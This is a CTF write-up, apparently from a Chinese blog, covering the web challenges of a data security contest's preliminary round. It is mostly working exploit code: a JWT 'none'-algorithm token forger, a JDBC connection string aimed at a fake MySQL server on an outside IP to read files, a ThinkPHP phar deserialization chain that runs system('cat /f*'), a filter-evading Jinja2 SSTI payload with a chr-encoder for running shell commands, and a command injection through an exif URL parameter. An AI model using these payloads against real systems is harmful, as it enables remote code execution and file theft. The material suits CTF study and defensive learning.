• 首届数据安全大赛初赛web


    easy_node

    访问src得到源码

    第一步需要伪造admin用户

    可以看到都是通过jwt进行加密解密

    很容易想到jwt的几种攻击方式,可以参考下文章https://blog.csdn.net/miuzzx/article/details/111936737

    首先试下改为none

    var jwt = require('jsonwebtoken')
     
    data={username:'admin'}
     
    //生成token
     
    var token = jwt.sign(data, '', {algorithm: 'none'})
     
    console.log(token);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    一开始还以为是原型链污染,然后发现不太一样。
    类似于一个套娃,如果键值是Object,又会进行一次赋值。
    所以我们可以把flag放入内层中。
    最终payload
    {"properties":{"0":["0","1","flag"],"length":"1"}}

    easy_web

    前端源码泄露漏洞并用source map文件还原

    参考文章https://blog.csdn.net/qq_44930903/article/details/124257571

    访问app.ddeec4b4.js.map下载到

    reverse-sourcemap -o aaa -v app.ddeec4b4.js.map

    得到文件夹src,在api/user.js中得到可以地址
    在这里插入图片描述
    进入如下页面
    在这里插入图片描述
    可以进行数据库连接,很容易想到通过jdbc读文件,或者反序列化
    项目地址https://github.com/fnmsd/MySQL_Fake_Server
    不过过滤了一些关键词
    题目提示用utf16绕过,具体代码如下

    import requests
    import urllib.parse
    url = 'http://eci-2ze6f7fy0tfqts9ijl92.cloudeci1.ichunqiu.com:8888/connect'
    payload ="""jdbc:mysql://(host=101.34.94.44,port=3307,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,%61llowLoadLocalInfile=yes)/db"""
    data={"xmlString":payload.encode('utf-16le')}
    print(data)
    r = requests.post(url,data=data)
    print(r.text)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    easy_phar

    该cms本身存在漏洞
    参考文章https://github.com/MuYuCMS/MuYuCMS/issues/2
    大概就是通过上传一个phar文件,然后再利用application/admin/controller/Update.php中的rfdirr触发phar反序列化。

    因为后台没法进入所以尝试其他的文件上传方法。
    找到public/static/admin/static/ueditor/php/controller.php,可以看到能够获取远程文件
    在这里插入图片描述
    本地测试可以成功下载远程图片文件,并且文件目录可知为
    在这里插入图片描述
    将恶意phar文件修改后缀后放入远程服务器上
    在这里插入图片描述
    触发phar反序列化
    在这里插入图片描述
    poc

    
    namespace think{
        abstract class Model{
            protected $append;
            private $data;
            function __construct(){
                $this->append = ["aaaa"=>["123456"]];
                $this->data = ["aaaa"=>new Request()];
            }
        }
        class Request
        {
            protected $param;
            protected $hook;
            protected $filter;
            protected $config;
            function __construct(){
                $this->filter = "system";
                $this->config = ["var_ajax"=>''];
                $this->hook = ["visible"=>[$this,"isAjax"]];
                $this->param = ["cat /f*"];
            }
        }
    }
    namespace think\process\pipes{
        use think\model\Pivot;
        class Windows
        {
            private $files;
    
            public function __construct()
            {
                $this->files=[new Pivot()];
            }
        }
    }
    namespace think\model{
        use think\Model;
        class Pivot extends Model
        {
        }
    }
    namespace{
        use think\process\pipes\Windows;
        @unlink('shell.jpg');
        $phar = new Phar("shell.phar"); //
        $phar->startBuffering();
        $phar -> setStub('GIF89a'.'');
        $object = new Windows();
        //$object ->haha= 'eval(@$_POST[\'a\']);';
        // $object ->haha= 'phpinfo();';
        $phar->setMetadata($object); 
        $phar->addFromString("a", "a"); //添加要压缩的文件
        
        $phar->stopBuffering();
        
        echo (base64_encode(serialize(new Windows())));
    
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60

    刮刮乐

    考察ssti,过滤了{{ _ 等一些字符

    直接用我的珍藏payload

    https://blog.csdn.net/miuzzx/article/details/112168039

    可以看下369的payload

    试了下反弹shell失败,估计是不出网,那直接把命令结果写到静态文件上

    payload

    {% set a=(()|select|string|list).pop(24)%}
    {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
    {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
    {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
    {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
    {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
    {% set chr=x.chr%}
    {% set cmd=
    %}
    {%if x.exec(cmd)%}
    123
    {%endif%}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    再通过下面的代码生成相对应的命令,补全到上面cmd位置

    s='__import__("os").popen("cat /app/*> /app/static/css/headerLIne.css").read()'
    def ccchr(s):
    	t=''
    	for i in range(len(s)):
    		if i<len(s)-1:
    			t+='chr('+str(ord(s[i]))+')%2b'
    		else:
    			t+='chr('+str(ord(s[i]))+')'
    	return t
    print(ccchr(s))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    再通过下面的代码生成相对应的命令,补全到上面cmd位置

    s='__import__("os").popen("cat /app/*> /app/static/css/headerLIne.css").read()'
    def ccchr(s):
    	t=''
    	for i in range(len(s)):
    		if i<len(s)-1:
    			t+='chr('+str(ord(s[i]))+')%2b'
    		else:
    			t+='chr('+str(ord(s[i]))+')'
    	return t
    print(ccchr(s))
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    my_cloud

    根据提示,利用弱口令admin/admin888进入后台。
    发现存在备份文件,下载下来备份文件后,审计发现可疑代码
    在这里插入图片描述

    exif为可控内容,并且最后进入了shell_exec中。
    提示中还有一句话注意到图片预览了吗,尝试看看逻辑呢
    可以联想到和图片预览相关,而代码中检测了图片的content-type,应该就是上传文件时了。
    从 generatePreview 猜测就是产生图片预览图的时候会生效,所以直接上传图片的同时进行抓包:
    在这里插入图片描述
    加入恶意语句:
    GET /core/preview?fileId=838&c=0e31b19b118b00a431a6a4d38bca54e5&x=500&y=500&forceIcon=0&a=0&exif=;ls+/>/var/www/html/robots.txt;sleep+3
    成功延时
    在这里插入图片描述
    访问 robots.txt 拿到结果:
    在这里插入图片描述

  • 相关阅读:
    低代码开发
    鸿蒙(API 12 Beta2版)媒体开发【管理麦克风】
    vue.use和vue.prototype的区别
    基于OPENCV和图像减法的PCB缺陷检测
    工控机设备安全-系统加固的意义
    考研:研究生考试(五天学完)之《线性代数与空间解析几何》研究生学霸重点知识点总结之第四课欧氏空间
    中兴面试-Java开发
    计算机毕业设计JAVA高校商铺管理系统mybatis+源码+调试部署+系统+数据库+lw
    代码发布方式
    java基于微信小程序面向企事业单位的项目申报小程序+ssm+uinapp+Mysql+计算机毕业设计
  • 原文地址:https://blog.csdn.net/miuzzx/article/details/127744431